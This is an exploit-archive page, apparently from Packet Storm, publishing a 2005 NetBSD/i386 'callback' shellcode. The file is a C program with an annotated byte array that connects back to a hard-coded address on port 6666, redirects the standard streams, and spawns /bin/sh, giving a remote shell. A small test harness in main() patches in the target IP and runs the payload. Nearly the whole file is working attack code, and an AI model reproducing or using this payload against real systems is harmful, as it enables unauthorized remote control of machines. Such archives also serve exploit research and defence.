what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

netbsdCallback.txt

netbsdCallback.txt
Posted Dec 1, 2005
Authored by pasquale minervini

NetBSD/i386 2.0, callback shellcode (port 6666);

tags | shellcode
systems | netbsd
SHA-256 | 985380f3d689bef3424d8fbcad233c5443e4fe61f00063be20e410f22ba6af7e

netbsdCallback.txt

Change Mirror Download
/*
* minervini at neuralnoise dot com (c) 2005
* NetBSD/i386 2.0, callback shellcode (port 6666);
*/

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
"\x31\xc0" // xor %eax,%eax
"\x31\xc9" // xor %ecx,%ecx
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x50" // push %eax
"\xb0\x61" // mov $0x61,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\x89\xe2" // mov %esp,%edx
"\x49" // dec %ecx
"\x51" // push %ecx
"\x51" // push %ecx
"\x41" // inc %ecx
"\x68\xf5\xff\xff\xfd" // push $0xfdfffff5
"\x68\xff\xfd\xe5\xf5" // push $0xf5e5fdff
"\xb1\x10" // mov $0x10,%cl
"\x51" // push %ecx
"\xf6\x12" // notb (%edx)
"\x4a" // dec %edx
"\xe2\xfb" // loop .-3
"\xf6\x12" // notb (%edx)
"\x52" // push %edx
"\x50" // push %eax
"\x50" // push %eax
"\xb0\x62" // mov $0x62,%al
"\xcd\x80" // int $0x80
"\xb1\x03" // mov $0x3,%cl
"\x49" // dec %ecx
"\x51" // push %ecx
"\x41" // inc %ecx
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x5a" // mov $0x5a,%al
"\xcd\x80" // int $0x80
"\xe2\xf5" // loop .-9
"\x51" // push %ecx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x51" // push %ecx
"\x54" // push %esp
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80"; // int $0x80

int main() {
scode[23] = ~10;
scode[24] = ~0;
scode[25] = ~0;
scode[26] = ~2;
void (*code) () = (void *) scode;
printf("length: %d\n", strlen(scode));
code();
return (0);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close